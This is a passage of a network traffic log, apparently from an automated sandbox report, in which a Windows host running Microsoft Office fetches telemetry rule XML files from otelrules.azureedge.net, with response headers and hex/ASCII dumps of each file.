2024-10-31 06:15:18 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:19 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:19 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:19 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 258e3987-401e-0047-4dfa-288597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061519Z-17c5cb586f62bgw58esgbu9hgw00000001s000000000dwkm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:19 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:19 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:19 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:19 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061519Z-16849878b786lft2mu9uftf3y40000000afg000000001a9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:19 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:19 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:19 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:19 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2e8006eb-901e-0083-471c-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061519Z-16849878b78p8hrf1se7fucxk800000009y000000000fpgu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:19 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:19 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:19 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:19 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 04bfc9b2-001e-0017-54ad-260c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061519Z-16849878b78x44pv2mpb0dd37w000000015000000000gz09 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:19 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:20 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:20 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:20 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 3755067a-c01e-00ad-070c-2ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061520Z-15b8d89586flzzksdx5d6q7g1000000004ag0000000048hz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:20 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:20 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:20 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:20 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: f0c9e92d-201e-0000-1199-25a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061520Z-16849878b78bjkl8dpep89pbgg00000007y00000000010ef x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:20 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:20 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:20 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:20 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: cb3ec3ab-c01e-0014-40b8-26a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061520Z-16849878b78g2m84h2v9sta29000000007yg00000000kabv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:20 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:20 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:20 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:20 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061520Z-16849878b78wc6ln1zsrz6q9w800000008qg00000000kue5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:20 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:20 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:20 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:20 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 0df29f50-101e-005a-068d-27882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061520Z-15b8d89586f989rkwt13xern5400000004e0000000006zhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:20 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:21 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:21 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:21 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 16f71f95-f01e-0099-73fb-259171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061521Z-16849878b78tg5n42kspfr0x48000000097000000000313t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:21 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:21 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:21 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:21 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: f0ac2fb9-601e-003e-0667-2a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061521Z-159b85dff8fc5h75hC1DFWntr800000000pg0000000042sm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:21 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 